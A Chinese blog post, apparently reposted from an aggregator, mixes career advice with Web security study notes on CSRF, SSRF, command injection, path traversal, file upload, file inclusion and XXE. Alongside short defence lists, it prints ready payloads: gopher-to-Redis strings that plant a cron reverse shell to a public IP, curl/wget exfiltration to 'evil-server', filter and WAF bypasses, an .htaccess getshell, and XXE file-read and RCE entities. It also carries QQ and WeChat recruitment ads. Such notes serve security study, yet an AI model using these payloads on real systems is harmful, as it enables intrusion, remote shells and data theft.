年薪50W的Web安全工程师教你如何应对安全学习的迷茫期

Posted 李志宽

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了年薪50W的Web安全工程师教你如何应对安全学习的迷茫期相关的知识,希望对你有一定的参考价值。

前言:

计算机行业很多领域都符合82定律,也就是20%的东西的使用频率占到80%,所以很适合囫囵吞枣,因此我们的重点就是把这20%学起来,而首先要做的就是把这20%的东西找出来。

在我看来网络安全最重要的20%的东西大概就是
对操作系统和网络的了解、渗透的思路和工具、安全体系建设、脚本编写能力

拿下这些东西意义非凡,一方面证明你适合做前端这份工作,另一方面这些技能能让你找到一份工作。让你能够从容地去学习剩下的80%。

那些什么kali、Metasploit、AWVS这类的东西,当你把我之前说的基础打好之后,学习起来畅通无阻,随学随用。

最后我觉得最难的就是实践,只有实践才能学到真正的技术,新人很难参与一些有价值有意义的项目,没有这些项目又很难成长,所以自己有项目可参与应该珍惜,没项目应该多造一些有价值的轮子。

下面我给大家分享一些我在学习Web安全时学习笔记

由于笔记内容太多,以下只截取一部分

对于Web安全学习不懂的,或者不知道怎么学习的可以来我的安全群:581499282。不管你是小白还是大牛,小编都欢迎,我也是这么学好的,群不定期分享干货,欢迎初学和进阶中的小伙伴。

目录

前言:

4.3. CSRF

4.3.1. 简介

4.3.2. 分类

4.3.2.1. 资源包含

4.3.2.2. 基于表单

4.3.2.3. XMLHttpRequest

4.3.3. 防御

4.4. SSRF

4.4.1. 简介

4.4.1.1. 漏洞危害

4.4.2. 利用方式

4.4.3. 相关危险函数

4.4.4. 过滤绕过

4.4.4.1. 更改IP地址写法

4.4.4.2. 使用解析到内网的域名

4.4.4.3. 利用解析URL所出现的问题

4.4.4.4. 利用跳转

4.4.4.5. 通过各种非HTTP协议

4.4.4.6. DNS Rebinding

4.4.4.7. 利用IPv6

4.4.4.8. 利用IDN

4.4.5. 可能的利用点

4.4.5.1. 内网服务

4.4.5.2. Redis利用

4.4.5.3. 云主机

4.4.6. 防御方式

4.5. 命令注入

4.5.1. 简介

4.5.2. 常见危险函数

4.5.2.1. PHP

4.5.2.2. Python

4.5.2.3. Java

4.5.3. 常见注入方式

4.5.4. 无回显技巧

4.5.5. 常见绕过方式

4.5.5.1. 空格绕过

4.5.5.2. 黑名单绕过

4.5.5.3. 长度限制绕过

4.5.6. 常用符号

4.5.6.1. 命令分隔符

4.5.6.2. 通配符

4.5.7. 防御

4.6. 目录穿越

4.6.1. 简介

4.6.2. 攻击载荷

4.6.2.1. URL参数

4.6.2.2. Nginx Off by Slash

4.6.2.3. UNC Bypass

4.6.3. 过滤绕过

4.6.4. 防御

4.7. 文件读取

4.8. 文件上传

4.8.1. 文件类型检测绕过

4.8.1.1. 更改请求绕过

4.8.1.2. Magic检测绕过

4.8.1.3. 后缀绕过

4.8.1.4. 系统命名绕过

4.8.1.5. .user.ini

4.8.1.6. WAF绕过

4.8.1.7. 竞争上传绕过

4.8.2. 攻击技巧

4.8.2.1. Apache重写GetShell

4.8.2.2. 软链接任意读文件

4.8.3. 防护技巧

4.9. 文件包含

4.9.1. 基础

4.9.2. 触发Sink

4.9.3. 绕过技巧

4.9.3.1. url编码绕过

4.9.3.2. 特殊字符绕过

4.9.3.3. %00截断

4.9.3.4. 长度截断

4.9.3.5. 伪协议绕过

4.9.3.6. 协议绕过

 

4.10. XXE

4.10.1. XML基础

4.10.2. 基本语法

4.10.3. XXE

4.10.4. 攻击方式

4.10.4.1. 拒绝服务攻击

4.10.4.2. 文件读取

4.10.4.3. SSRF

4.10.4.4. RCE

4.10.4.5. XInclude

总结:


4.3. CSRF

4.3.1. 简介

跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

4.3.2. 分类

4.3.2.1. 资源包含

资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制html标签(例如<image>、<audio>、<video>、<object>、<script>等)所包含的资源的攻击者。如果攻击者能够影响URL被加载的话,包含远程资源的任何标签都可以完成攻击。

由于缺少对Cookie的源点检查,如上所述,此攻击不需要XSS,可以由任何攻击者控制的站点或站点本身执行。此类型仅限于GET请求,因为这些是浏览器对资源URL唯一的请求类型。这种类型的主要限制是它需要错误地使用安全的HTTP请求方式。

4.3.2.2. 基于表单

通常在正确使用安全的请求方式时看到。攻击者创建一个想要受害者提交的表单; 其包含一个javascript片段,强制受害者的浏览器提交。

该表单可以完全由隐藏的元素组成,以致受害者很难发现它。

如果处理cookies不当,攻击者可以在任何站点上发动攻击,只要受害者使用有效的cookie登录,攻击就会成功。如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面。该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效。

4.3.2.3. XMLHttpRequest

XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR,许多应用花费大量的时间来构建和实现这一特定的对策。

基于XHR的CSRF通常由于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS),XHR仅限于攻击者托管自己的有效载荷的原始请求。

这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。

4.3.3. 防御

  • 通过CSRF-token或者验证码来检测用户提交
  • 验证 Referer/Content-Type
  • 对于用户修改删除等操作最好都使用POST操作
  • 避免全站通用的Cookie,严格设置Cookie的域

4.4. SSRF

4.4.1. 简介

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

4.4.1.1. 漏洞危害

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

4.4.2. 利用方式

SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * 注意: 链接使用单引号,避免$变量问题
获取网安资料+WX:machinegunjoe666

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

4.4.3. 相关危险函数

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以php为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。

4.4.4. 过滤绕过

4.4.4.1. 更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(\\.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){3}$
^172\\.([1][6-9]|[2]\\d|3[01])(\\.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){2}$
^192\\.168(\\.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){2}$

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但nginxmysql等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

4.4.4.2. 使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

4.4.4.3. 利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

比如 http://www.baidu.com@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

4.4.4.4. 利用跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。

4.4.4.5. 通过各种非HTTP协议

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容。

4.4.4.6. DNS Rebinding

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

4.4.4.7. 利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

4.4.4.8. 利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 和 example.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

4.4.5. 可能的利用点

4.4.5.1. 内网服务

  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行

4.4.5.2. Redis利用

  • 写ssh公钥
  • 写crontab
  • 写WebShell
  • Windows写启动项
  • 主从复制加载 .so 文件
  • 主从复制写无损文件

4.4.5.3. 云主机

在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。

4.4.6. 防御方式

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单

4.5. 命令注入

4.5.1. 简介

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

4.5.2. 常见危险函数

4.5.2.1. PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

4.5.2.2. Python

  • system
  • popen
  • subprocess.call
  • spawn

4.5.2.3. Java

  • java.lang.Runtime.getRuntime().exec(command)

4.5.3. 常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \\r\\n %d0%a0 换行
  • 反引号解析
  • $() 替换

4.5.4. 无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外

    • curl http://evil-server/$(whoami)
    • wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

4.5.5. 常见绕过方式

4.5.5.1. 空格绕过

< 符号 cat<123
\\t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

4.5.5.2. 黑名单绕过

a=l;b=s;$a$b
base64 echo "bHM=" | base64 -d
/?in/?s => /bin/ls
连接符 cat /etc/pass'w'd
未定义的初始化变量 cat$x /etc/passwd

4.5.5.3. 长度限制绕过

>wget\\
>foo.\\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

4.5.6. 常用符号

4.5.6.1. 命令分隔符

  • %0a / %0d / \\n / \\r
  • ;
  • & / &&

4.5.6.2. 通配符

  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

4.5.7. 防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符

    • shell元字符包括 #&;`,|*?~<>^()[]{}$\\

4.6. 目录穿越

4.6.1. 简介

目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。

4.6.2. 攻击载荷

4.6.2.1. URL参数

  • ../
  • ..\\
  • ..;/

4.6.2.2. Nginx Off by Slash

  • https://vuln.site.com/files../

4.6.2.3. UNC Bypass

  • \\\\localhost\\c$\\windows\\win.ini

4.6.3. 过滤绕过

  • 单次替换

    • ...//
  • URL编码
  • 16位Unicode编码

    • \\u002e
  • 超长UTF-8编码

    • \\%e0%40%ae

4.6.4. 防御

在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。

若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。

4.7. 文件读取

考虑读取可能有敏感信息的文件

  • 用户目录下的敏感文件

    • .bash_history
    • .zsh_history
    • .profile
    • .bashrc
    • .gitconfig
    • .viminfo
    • passwd
  • 应用的配置文件

    • /etc/apache2/apache2.conf
    • /etc/nginx/nginx.conf
  • 应用的日志文件

    • /var/log/apache2/access.log
    • /var/log/nginx/access.log
  • 站点目录下的敏感文件

    • .svn/entries
    • .git/HEAD
    • WEB-INF/web.xml
    • .htaccess
  • 特殊的备份文件

    • .swp
    • .swo
    • .bak
    • index.php~
    • ...
  • Python的Cache

    • __pycache__\\__init__.cpython-35.pyc

4.8. 文件上传

4.8.1. 文件类型检测绕过

4.8.1.1. 更改请求绕过

有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type 等,这种检查同样可以通过修改网络请求绕过。

4.8.1.2. Magic检测绕过

有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

类型二进制值
JPGFF D8 FF E0 00 10 4A 46 49 46
GIF47 49 46 38 39 61
PNG89 50 4E 47
TIF49 49 2A 00
BMP42 4D

4.8.1.3. 后缀绕过

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。

php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

4.8.1.4. 系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20 , index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件

4.8.1.5. .user.ini

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif 。

4.8.1.6. WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。

另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。

4.8.1.7. 竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

4.8.2. 攻击技巧

4.8.2.1. Apache重写GetShell

Apache可根据是否允许重定向考虑上传.htaccess

内容为

AddType application/x-httpd-php .png
php_flag engine 1

就可以用png或者其他后缀的文件做php脚本了

4.8.2.2. 软链接任意读文件

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果

4.8.3. 防护技巧

  • 使用白名单限制上传文件的类型
  • 使用更严格的文件类型检查方式
  • 限制Web Server对上传文件夹的解析

4.9. 文件包含

4.9.1. 基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

4.9.2. 触发Sink

  • PHP

    • include

      • 在包含过程中出错会报错,不影响执行后续语句
    • include_once

      • 仅包含一次
    • require

      • 在包含过程中出错,就会直接退出,不执行后续语句
    • require_once

4.9.3. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

4.9.3.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

4.9.3.2. 特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? * 等
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

4.9.3.3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

4.9.3.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \\0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

4.9.3.5. 伪协议绕过

  • 远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On

4.9.3.6. 协议绕过

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

 

 

4.10. XXE

4.10.1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。

4.10.2. 基本语法

XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。

除了可选的开头外,XML 语法主要有以下的特性:

  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值需要加引号

另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。

4.10.3. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

4.10.4. 攻击方式

4.10.4.1. 拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

4.10.4.2. 文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

4.10.4.3. SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

4.10.4.4. RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

4.10.4.5. XInclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

总结:

路漫漫其修远兮,吾将上下而求索

今天这篇文章主要通过自己对于前端学习的一些看法,可能有些片面,希望能给你带来帮助。

 

以上是关于年薪50W的Web安全工程师教你如何应对安全学习的迷茫期的主要内容,如果未能解决你的问题,请参考以下文章

60W年薪Web安全架构师带走上你一条“不归路” 2021全网最详细的Web安全学习路线+大厂面经1001道

微职位公开课老学长自述:如何成为年薪50W的技术工程师

小白5年奋斗史-如何成为年薪50w的Linux运维工程师

Web3安全风险令人生畏,应该如何应对?

年薪50W阿里P7架构师就会点这?并发丨JVM丨多线程丨Netty丨MySQL!

AUTOSAR工程师,年薪50W?